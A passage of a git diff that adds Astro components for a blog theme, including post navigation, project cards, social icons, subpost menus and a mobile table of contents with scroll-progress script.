||||||
|
{
|
||||||
|
isSubpost && (
|
||||||
|
<Link
|
||||||
|
href={parentPost ? `/blog/${parentPost.id}#post-title` : '#'}
|
||||||
|
class={cn(
|
||||||
|
buttonVariants({ variant: 'outline' }),
|
||||||
|
'group flex size-full items-center justify-center rounded-xl',
|
||||||
|
!parentPost && 'pointer-events-none cursor-not-allowed opacity-50',
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:corner-left-up"
|
||||||
|
class="mr-2 size-4 transition-transform group-hover:-translate-y-1"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col items-center overflow-hidden text-wrap">
|
||||||
|
<span class="text-muted-foreground text-center text-xs">
|
||||||
|
Parent Post
|
||||||
|
</span>
|
||||||
|
<span class="w-full text-center text-sm text-balance text-ellipsis">
|
||||||
|
{parentPost?.data.title || 'No parent post'}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
<Link
|
||||||
|
href={newerPost ? `/blog/${newerPost.id}#post-title` : '#'}
|
||||||
|
class={cn(
|
||||||
|
buttonVariants({ variant: 'outline' }),
|
||||||
|
'rounded-xl group flex items-center justify-end size-full',
|
||||||
|
!newerPost && 'pointer-events-none opacity-50 cursor-not-allowed',
|
||||||
|
)}
|
||||||
|
aria-disabled={!newerPost}
|
||||||
|
>
|
||||||
|
<div class="flex flex-col items-end overflow-hidden text-wrap">
|
||||||
|
<span class="text-muted-foreground text-right text-xs">
|
||||||
|
{isSubpost ? 'Next Subpost' : 'Next Post'}
|
||||||
|
</span>
|
||||||
|
<span class="w-full text-right text-sm text-balance text-ellipsis">
|
||||||
|
{
|
||||||
|
newerPost?.data.title ||
|
||||||
|
(isSubpost ? 'No newer subpost' : "You're at the newest post!")
|
||||||
|
}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<Icon
|
||||||
|
name="lucide:arrow-right"
|
||||||
|
class="ml-2 size-4 transition-transform group-hover:translate-x-1"
|
||||||
|
/>
|
||||||
|
</Link>
|
||||||
|
</nav>
|
||||||
70
src/components/ProjectCard.astro
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
---
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import { Badge } from '@/components/ui/badge'
|
||||||
|
import { formatDate } from '@/lib/utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
import { Image } from 'astro:assets'
|
||||||
|
import type { CollectionEntry } from 'astro:content'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
project: CollectionEntry<'projects'>
|
||||||
|
}
|
||||||
|
|
||||||
|
const { project } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<div
|
||||||
|
class="hover:bg-secondary/50 rounded-xl border p-4 transition-colors duration-300 ease-in-out"
|
||||||
|
>
|
||||||
|
<Link
|
||||||
|
href={project.data.link}
|
||||||
|
class="flex flex-col gap-4 sm:flex-row"
|
||||||
|
external
|
||||||
|
>
|
||||||
|
{
|
||||||
|
project.data.image && (
|
||||||
|
<div class="max-w-3xs sm:shrink-0">
|
||||||
|
<Image
|
||||||
|
src={project.data.image}
|
||||||
|
alt={project.data.name}
|
||||||
|
width={1200}
|
||||||
|
height={630}
|
||||||
|
class="object-cover"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
<div class="grow">
|
||||||
|
<h3 class="mb-1 text-lg font-medium">
|
||||||
|
{project.data.name}
|
||||||
|
</h3>
|
||||||
|
<p class="text-muted-foreground mb-2 text-sm">
|
||||||
|
{project.data.description}
|
||||||
|
</p>
|
||||||
|
{
|
||||||
|
project.data.startDate && (
|
||||||
|
<p class="text-muted-foreground/70 mb-2 flex items-center gap-x-1.5 text-xs">
|
||||||
|
<span class="flex items-center gap-x-1.5">
|
||||||
|
<Icon name="lucide:calendar" class="size-3" />
|
||||||
|
<span>
|
||||||
|
{formatDate(project.data.startDate)}
|
||||||
|
{project.data.endDate
|
||||||
|
? ` → ${formatDate(project.data.endDate)}`
|
||||||
|
: ' → Present'}
|
||||||
|
</span>
|
||||||
|
</span>
|
||||||
|
</p>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
{
|
||||||
|
project.data.tags && (
|
||||||
|
<div class="flex flex-wrap gap-2">
|
||||||
|
{project.data.tags.map((tag: string) => (
|
||||||
|
<Badge variant="secondary">{tag}</Badge>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
</div>
|
||||||
37
src/components/SocialIcons.astro
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
---
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import { buttonVariants } from '@/components/ui/button'
|
||||||
|
import { ICON_MAP } from '@/consts'
|
||||||
|
import type { SocialLink } from '@/types'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
links: SocialLink[]
|
||||||
|
}
|
||||||
|
|
||||||
|
const { links } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<ul class="flex flex-wrap gap-2" role="list">
|
||||||
|
{
|
||||||
|
links.map(({ href, label }) => (
|
||||||
|
<li>
|
||||||
|
<Link
|
||||||
|
href={href}
|
||||||
|
aria-label={label}
|
||||||
|
title={label}
|
||||||
|
class={buttonVariants({ variant: 'outline', size: 'icon' })}
|
||||||
|
external
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name={
|
||||||
|
ICON_MAP[label as keyof typeof ICON_MAP] ||
|
||||||
|
'lucide:message-circle-question'
|
||||||
|
}
|
||||||
|
class="size-4"
|
||||||
|
/>
|
||||||
|
</Link>
|
||||||
|
</li>
|
||||||
|
))
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
180
src/components/SubpostsHeader.astro
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
---
|
||||||
|
import {
|
||||||
|
getParentId,
|
||||||
|
getParentPost,
|
||||||
|
getPostById,
|
||||||
|
getPostReadingTime,
|
||||||
|
getSubpostsForParent,
|
||||||
|
isSubpost,
|
||||||
|
} from '@/lib/data-utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
const { parentId } = Astro.props
|
||||||
|
const currentPostId = Astro.params.id as string
|
||||||
|
const isCurrentSubpost = isSubpost(currentPostId)
|
||||||
|
const rootParentId = isCurrentSubpost ? getParentId(currentPostId) : parentId
|
||||||
|
|
||||||
|
const currentPost = !isCurrentSubpost ? await getPostById(currentPostId) : null
|
||||||
|
const subposts = await getSubpostsForParent(rootParentId)
|
||||||
|
const parentPost = isCurrentSubpost ? await getParentPost(currentPostId) : null
|
||||||
|
|
||||||
|
const activePost = parentPost || currentPost
|
||||||
|
const isActivePost = activePost?.id === currentPostId
|
||||||
|
|
||||||
|
const activePostReadingTime = activePost
|
||||||
|
? await getPostReadingTime(activePost.id)
|
||||||
|
: null
|
||||||
|
const subpostsWithReadingTime = await Promise.all(
|
||||||
|
subposts.map(async (subpost) => ({
|
||||||
|
...subpost,
|
||||||
|
readingTime: await getPostReadingTime(subpost.id),
|
||||||
|
})),
|
||||||
|
)
|
||||||
|
|
||||||
|
const currentSubpostDetails = isCurrentSubpost
|
||||||
|
? subpostsWithReadingTime.find((subpost) => subpost.id === currentPostId)
|
||||||
|
: null
|
||||||
|
---
|
||||||
|
|
||||||
|
{
|
||||||
|
activePost && subposts.length > 0 && (
|
||||||
|
<div id="mobile-subposts-container" class="w-full xl:hidden">
|
||||||
|
<details class="group">
|
||||||
|
<summary class="flex w-full cursor-pointer items-center justify-between">
|
||||||
|
<div class="mx-auto flex w-full max-w-3xl items-center px-4 py-3">
|
||||||
|
<div class="relative mr-2 size-4">
|
||||||
|
<Icon
|
||||||
|
name={
|
||||||
|
currentSubpostDetails
|
||||||
|
? 'lucide:file-text'
|
||||||
|
: isActivePost
|
||||||
|
? 'lucide:book-open-text'
|
||||||
|
: 'lucide:book-open'
|
||||||
|
}
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<div class="flex flex-grow flex-col truncate text-sm">
|
||||||
|
<span class="text-muted-foreground truncate">
|
||||||
|
{currentSubpostDetails
|
||||||
|
? currentSubpostDetails.data.title
|
||||||
|
: activePost?.data.title}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<span class="text-muted-foreground ml-2">
|
||||||
|
<Icon
|
||||||
|
name="lucide:chevron-down"
|
||||||
|
class="h-4 w-4 transition-transform duration-200 group-open:rotate-180"
|
||||||
|
/>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</summary>
|
||||||
|
|
||||||
|
<div class="mx-auto max-h-[30vh] max-w-3xl overflow-y-auto">
|
||||||
|
<ul class="flex list-none flex-col gap-y-1 px-4 pb-4">
|
||||||
|
{activePost && (
|
||||||
|
<li>
|
||||||
|
{isActivePost ? (
|
||||||
|
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
|
||||||
|
<Icon
|
||||||
|
name="lucide:book-open-text"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{activePost.data.title}</span>
|
||||||
|
{activePostReadingTime && (
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{activePostReadingTime}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<a
|
||||||
|
href={`/blog/${activePost.id}`}
|
||||||
|
class="subpost-item hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:book-open"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{activePost.data.title}</span>
|
||||||
|
{activePostReadingTime && (
|
||||||
|
<span class="text-muted-foreground/80 hover:text-foreground/80 text-xs">
|
||||||
|
{activePostReadingTime}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
|
)}
|
||||||
|
</li>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{subpostsWithReadingTime.length > 0 && (
|
||||||
|
<div class="ml-4 space-y-1">
|
||||||
|
{subpostsWithReadingTime.map((subpost) =>
|
||||||
|
currentPostId === subpost.id ? (
|
||||||
|
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
|
||||||
|
<Icon
|
||||||
|
name="lucide:file-text"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{subpost.data.title}</span>
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{subpost.readingTime}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<a
|
||||||
|
href={`/blog/${subpost.id}`}
|
||||||
|
class="subpost-item hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
|
||||||
|
data-subpost-id={subpost.id}
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:file"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{subpost.data.title}</span>
|
||||||
|
<span class="text-muted-foreground/80 hover:text-foreground/80 text-xs">
|
||||||
|
{subpost.readingTime}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</a>
|
||||||
|
),
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</details>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function setupMobileSubpostsInteraction() {
|
||||||
|
const container = document.getElementById('mobile-subposts-container')
|
||||||
|
if (!container) return
|
||||||
|
|
||||||
|
const details = container.querySelector('details')
|
||||||
|
const links = container.querySelectorAll('.subpost-item')
|
||||||
|
|
||||||
|
links.forEach((link) => {
|
||||||
|
link.addEventListener('click', () => {
|
||||||
|
if (details) details.open = false
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('astro:page-load', setupMobileSubpostsInteraction)
|
||||||
|
document.addEventListener('astro:after-swap', setupMobileSubpostsInteraction)
|
||||||
|
</script>
|
||||||
133
src/components/SubpostsSidebar.astro
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
---
|
||||||
|
import Link from '@/components/Link.astro'
|
||||||
|
import { ScrollArea } from '@/components/ui/scroll-area'
|
||||||
|
import {
|
||||||
|
getParentId,
|
||||||
|
getParentPost,
|
||||||
|
getPostById,
|
||||||
|
getPostReadingTime,
|
||||||
|
getSubpostsForParent,
|
||||||
|
isSubpost,
|
||||||
|
} from '@/lib/data-utils'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
const { parentId } = Astro.props
|
||||||
|
const currentPostId = Astro.params.id as string
|
||||||
|
const isCurrentSubpost = isSubpost(currentPostId)
|
||||||
|
const rootParentId = isCurrentSubpost ? getParentId(currentPostId) : parentId
|
||||||
|
|
||||||
|
const currentPost = !isCurrentSubpost ? await getPostById(currentPostId) : null
|
||||||
|
const subposts = await getSubpostsForParent(rootParentId)
|
||||||
|
const parentPost = isCurrentSubpost ? await getParentPost(currentPostId) : null
|
||||||
|
|
||||||
|
const activePost = parentPost || currentPost
|
||||||
|
const isActivePost = activePost?.id === currentPostId
|
||||||
|
|
||||||
|
const activePostReadingTime = activePost
|
||||||
|
? await getPostReadingTime(activePost.id)
|
||||||
|
: null
|
||||||
|
const subpostsWithReadingTime = await Promise.all(
|
||||||
|
subposts.map(async (subpost) => ({
|
||||||
|
...subpost,
|
||||||
|
readingTime: await getPostReadingTime(subpost.id),
|
||||||
|
})),
|
||||||
|
)
|
||||||
|
---
|
||||||
|
|
||||||
|
<div
|
||||||
|
class="sticky top-20 col-start-3 row-span-1 mr-auto ml-8 hidden h-[calc(100vh-5rem)] max-w-fit xl:block"
|
||||||
|
>
|
||||||
|
<ScrollArea
|
||||||
|
client:load
|
||||||
|
className="flex max-h-[calc(100vh-8rem)] flex-col overflow-y-auto"
|
||||||
|
type="always"
|
||||||
|
>
|
||||||
|
<div class="px-4">
|
||||||
|
<ul class="space-y-1">
|
||||||
|
{
|
||||||
|
activePost && (
|
||||||
|
<li>
|
||||||
|
{isActivePost ? (
|
||||||
|
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
|
||||||
|
<Icon
|
||||||
|
name="lucide:book-open-text"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{activePost.data.title}</span>
|
||||||
|
{activePostReadingTime && (
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{activePostReadingTime}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<Link
|
||||||
|
href={`/blog/${activePost.id}#post-title`}
|
||||||
|
class="hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:book-open"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{activePost.data.title}</span>
|
||||||
|
{activePostReadingTime && (
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{activePostReadingTime}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
)}
|
||||||
|
</li>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
subpostsWithReadingTime.length > 0 && (
|
||||||
|
<li class="ml-4 space-y-1">
|
||||||
|
{subpostsWithReadingTime.map((subpost) =>
|
||||||
|
currentPostId === subpost.id ? (
|
||||||
|
<div class="text-foreground bg-muted flex items-center gap-2 rounded-md px-2 py-1.5 text-sm font-medium">
|
||||||
|
<Icon
|
||||||
|
name="lucide:file-text"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{subpost.data.title}</span>
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{subpost.readingTime}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<Link
|
||||||
|
href={`/blog/${subpost.id}`}
|
||||||
|
class="hover:text-foreground text-muted-foreground hover:bg-muted/50 flex items-center gap-2 rounded-md px-2 py-1.5 text-sm transition-colors"
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:file"
|
||||||
|
class="size-4 flex-shrink-0"
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="line-clamp-2">{subpost.data.title}</span>
|
||||||
|
<span class="text-muted-foreground/80 text-xs">
|
||||||
|
{subpost.readingTime}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
),
|
||||||
|
)}
|
||||||
|
</li>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</ScrollArea>
|
||||||
|
</div>
|
||||||
300
src/components/TOCHeader.astro
Normal file
@@ -0,0 +1,300 @@
|
|||||||
|
---
|
||||||
|
import { cn, getHeadingMargin } from '@/lib/utils'
|
||||||
|
import type { MarkdownHeading } from 'astro'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
|
||||||
|
type Props = {
|
||||||
|
headings: MarkdownHeading[]
|
||||||
|
}
|
||||||
|
|
||||||
|
const { headings } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
{
|
||||||
|
headings && headings.length > 0 && (
|
||||||
|
<div id="mobile-toc-container" class="w-full xl:hidden">
|
||||||
|
<details class="group">
|
||||||
|
<summary class="flex w-full cursor-pointer items-center justify-between">
|
||||||
|
<div class="mx-auto flex w-full max-w-3xl items-center px-4 py-3">
|
||||||
|
<div class="relative mr-2 size-4">
|
||||||
|
<svg class="h-4 w-4" viewBox="0 0 24 24">
|
||||||
|
<circle
|
||||||
|
class="text-primary/20"
|
||||||
|
cx="12"
|
||||||
|
cy="12"
|
||||||
|
r="10"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
/>
|
||||||
|
<circle
|
||||||
|
id="mobile-toc-progress-circle"
|
||||||
|
class="text-primary"
|
||||||
|
cx="12"
|
||||||
|
cy="12"
|
||||||
|
r="10"
|
||||||
|
fill="none"
|
||||||
|
stroke="currentColor"
|
||||||
|
stroke-width="2"
|
||||||
|
stroke-dasharray="62.83"
|
||||||
|
stroke-dashoffset="62.83"
|
||||||
|
transform="rotate(-90 12 12)"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<span
|
||||||
|
id="mobile-toc-current-section"
|
||||||
|
class="text-muted-foreground flex-grow truncate text-sm"
|
||||||
|
>
|
||||||
|
Overview
|
||||||
|
</span>
|
||||||
|
<span class="text-muted-foreground ml-2">
|
||||||
|
<Icon
|
||||||
|
name="lucide:chevron-down"
|
||||||
|
class="h-4 w-4 transition-transform duration-200 group-open:rotate-180"
|
||||||
|
/>
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</summary>
|
||||||
|
|
||||||
|
<div class="mx-auto max-h-[30vh] max-w-3xl overflow-y-auto">
|
||||||
|
<ul
|
||||||
|
class="flex list-none flex-col gap-y-2 px-4 pb-4"
|
||||||
|
id="mobile-table-of-contents"
|
||||||
|
>
|
||||||
|
{headings.map((heading) => (
|
||||||
|
<li
|
||||||
|
class={cn(
|
||||||
|
'text-foreground/60 px-4 text-sm',
|
||||||
|
getHeadingMargin(heading.depth),
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
<a
|
||||||
|
href={`#${heading.slug}`}
|
||||||
|
class="toc-item underline decoration-transparent underline-offset-[3px] transition-colors duration-200 hover:decoration-inherit"
|
||||||
|
data-heading-id={heading.slug}
|
||||||
|
>
|
||||||
|
{heading.text}
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</details>
|
||||||
|
</div>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
<script>
|
||||||
|
const INITIAL_OVERVIEW_TEXT = 'Overview'
|
||||||
|
const STICKY_HEADER_OFFSET = 102 + 36 // header height + heading top padding
|
||||||
|
const PROGRESS_CIRCLE_RADIUS = 10
|
||||||
|
const PROGRESS_CIRCLE_CIRCUMFERENCE = 2 * Math.PI * PROGRESS_CIRCLE_RADIUS
|
||||||
|
|
||||||
|
let progressCircleElement: HTMLElement | null = null
|
||||||
|
let currentSectionTextElement: HTMLElement | null = null
|
||||||
|
let tocDetailsElement: HTMLDetailsElement | null = null
|
||||||
|
let mobileTocListElement: HTMLElement | null = null
|
||||||
|
let headingElements: HTMLElement[] = []
|
||||||
|
let headingJurisdictions: { id: string; start: number; end: number }[] = []
|
||||||
|
let activePageHeadings: string[] = []
|
||||||
|
|
||||||
|
function initializeMobileTocVariables() {
|
||||||
|
progressCircleElement = document.getElementById(
|
||||||
|
'mobile-toc-progress-circle',
|
||||||
|
)
|
||||||
|
currentSectionTextElement = document.getElementById(
|
||||||
|
'mobile-toc-current-section',
|
||||||
|
)
|
||||||
|
tocDetailsElement = document.querySelector('#mobile-toc-container details')
|
||||||
|
mobileTocListElement = document.getElementById('mobile-table-of-contents')
|
||||||
|
|
||||||
|
if (progressCircleElement) {
|
||||||
|
progressCircleElement.style.strokeDasharray =
|
||||||
|
PROGRESS_CIRCLE_CIRCUMFERENCE.toString()
|
||||||
|
progressCircleElement.style.strokeDashoffset =
|
||||||
|
PROGRESS_CIRCLE_CIRCUMFERENCE.toString()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildHeadingJurisdictions() {
|
||||||
|
headingElements = Array.from(
|
||||||
|
document.querySelectorAll<HTMLElement>(
|
||||||
|
'.prose h2, .prose h3, .prose h4, .prose h5, .prose h6',
|
||||||
|
),
|
||||||
|
)
|
||||||
|
if (headingElements.length === 0) {
|
||||||
|
headingJurisdictions = []
|
||||||
|
return
|
||||||
|
}
|
||||||
|
headingJurisdictions = headingElements.map((heading, index) => {
|
||||||
|
const nextHeading = headingElements[index + 1]
|
||||||
|
return {
|
||||||
|
id: heading.id,
|
||||||
|
start: heading.offsetTop,
|
||||||
|
end: nextHeading ? nextHeading.offsetTop : document.body.scrollHeight,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function getHeadingsWithVisibleContent(): string[] {
|
||||||
|
if (headingElements.length === 0) return []
|
||||||
|
|
||||||
|
const viewportTop = window.scrollY + STICKY_HEADER_OFFSET
|
||||||
|
const viewportBottom = window.scrollY + window.innerHeight
|
||||||
|
const visibleHeadingIds: string[] = []
|
||||||
|
|
||||||
|
headingElements.forEach((heading) => {
|
||||||
|
const headingTop = heading.offsetTop
|
||||||
|
const headingBottom = headingTop + heading.offsetHeight
|
||||||
|
|
||||||
|
if (
|
||||||
|
(headingTop >= viewportTop && headingTop <= viewportBottom) ||
|
||||||
|
(headingBottom >= viewportTop && headingBottom <= viewportBottom) ||
|
||||||
|
(headingTop <= viewportTop && headingBottom >= viewportBottom)
|
||||||
|
) {
|
||||||
|
visibleHeadingIds.push(heading.id)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
headingJurisdictions.forEach((jurisdiction) => {
|
||||||
|
if (
|
||||||
|
jurisdiction.start <= viewportBottom &&
|
||||||
|
jurisdiction.end >= viewportTop
|
||||||
|
) {
|
||||||
|
const headingEl = document.getElementById(jurisdiction.id)
|
||||||
|
if (headingEl) {
|
||||||
|
const headingBottom = headingEl.offsetTop + headingEl.offsetHeight
|
||||||
|
if (
|
||||||
|
jurisdiction.end > headingBottom &&
|
||||||
|
((headingBottom < viewportBottom &&
|
||||||
|
jurisdiction.end > viewportTop) ||
|
||||||
|
(viewportTop > headingBottom && viewportTop < jurisdiction.end))
|
||||||
|
) {
|
||||||
|
visibleHeadingIds.push(jurisdiction.id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return [...new Set(visibleHeadingIds)]
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateTocHighlightsAndText(newActiveHeadings: string[]) {
|
||||||
|
if (!mobileTocListElement || !currentSectionTextElement) return
|
||||||
|
|
||||||
|
mobileTocListElement.querySelectorAll('.toc-item').forEach((item) => {
|
||||||
|
const tocItem = item as HTMLElement
|
||||||
|
const headingId = tocItem.dataset.headingId
|
||||||
|
if (headingId && newActiveHeadings.includes(headingId)) {
|
||||||
|
tocItem.classList.add('text-foreground')
|
||||||
|
} else {
|
||||||
|
tocItem.classList.remove('text-foreground')
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
let textToShow = INITIAL_OVERVIEW_TEXT
|
||||||
|
const activeHeadingTexts: string[] = []
|
||||||
|
|
||||||
|
if (newActiveHeadings.length > 0) {
|
||||||
|
for (const heading of headingElements) {
|
||||||
|
if (newActiveHeadings.includes(heading.id) && heading.textContent) {
|
||||||
|
activeHeadingTexts.push(heading.textContent.trim())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (activeHeadingTexts.length > 0) {
|
||||||
|
textToShow = activeHeadingTexts.join(', ')
|
||||||
|
}
|
||||||
|
|
||||||
|
currentSectionTextElement.textContent = textToShow
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateProgressCircle() {
|
||||||
|
if (!progressCircleElement) return
|
||||||
|
const scrollableDistance =
|
||||||
|
document.documentElement.scrollHeight - window.innerHeight
|
||||||
|
const scrollProgress =
|
||||||
|
scrollableDistance > 0
|
||||||
|
? Math.min(Math.max(window.scrollY / scrollableDistance, 0), 1)
|
||||||
|
: 0
|
||||||
|
progressCircleElement.style.strokeDashoffset = (
|
||||||
|
PROGRESS_CIRCLE_CIRCUMFERENCE *
|
||||||
|
(1 - scrollProgress)
|
||||||
|
).toString()
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleMobileTocScroll() {
|
||||||
|
const newActiveHeadings = getHeadingsWithVisibleContent()
|
||||||
|
if (
|
||||||
|
JSON.stringify(newActiveHeadings) !== JSON.stringify(activePageHeadings)
|
||||||
|
) {
|
||||||
|
activePageHeadings = newActiveHeadings
|
||||||
|
updateTocHighlightsAndText(activePageHeadings)
|
||||||
|
}
|
||||||
|
updateProgressCircle()
|
||||||
|
}
|
||||||
|
|
||||||
|
function setupMobileTocInteraction() {
|
||||||
|
if (!mobileTocListElement) return
|
||||||
|
|
||||||
|
mobileTocListElement.querySelectorAll('.toc-item').forEach((item) => {
|
||||||
|
item.addEventListener('click', () => {
|
||||||
|
if (tocDetailsElement) tocDetailsElement.open = false
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function mainMobileTocSetup() {
|
||||||
|
initializeMobileTocVariables()
|
||||||
|
buildHeadingJurisdictions()
|
||||||
|
|
||||||
|
if (!currentSectionTextElement) return
|
||||||
|
|
||||||
|
if (headingElements.length === 0) {
|
||||||
|
currentSectionTextElement.textContent = INITIAL_OVERVIEW_TEXT
|
||||||
|
window.addEventListener('scroll', updateProgressCircle, { passive: true })
|
||||||
|
updateProgressCircle()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
activePageHeadings = getHeadingsWithVisibleContent()
|
||||||
|
updateTocHighlightsAndText(activePageHeadings)
|
||||||
|
updateProgressCircle()
|
||||||
|
|
||||||
|
setupMobileTocInteraction()
|
||||||
|
window.addEventListener('scroll', handleMobileTocScroll, { passive: true })
|
||||||
|
|
||||||
|
window.addEventListener('resize', handleWindowResize, { passive: true })
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleWindowResize() {
|
||||||
|
buildHeadingJurisdictions()
|
||||||
|
|
||||||
|
const newActiveHeadings = getHeadingsWithVisibleContent()
|
||||||
|
if (
|
||||||
|
JSON.stringify(newActiveHeadings) !== JSON.stringify(activePageHeadings)
|
||||||
|
) {
|
||||||
|
activePageHeadings = newActiveHeadings
|
||||||
|
updateTocHighlightsAndText(activePageHeadings)
|
||||||
|
}
|
||||||
|
|
||||||
|
updateProgressCircle()
|
||||||
|
}
|
||||||
|
|
||||||
|
function cleanupMobileToc() {
|
||||||
|
window.removeEventListener('scroll', handleMobileTocScroll)
|
||||||
|
window.removeEventListener('scroll', updateProgressCircle)
|
||||||
|
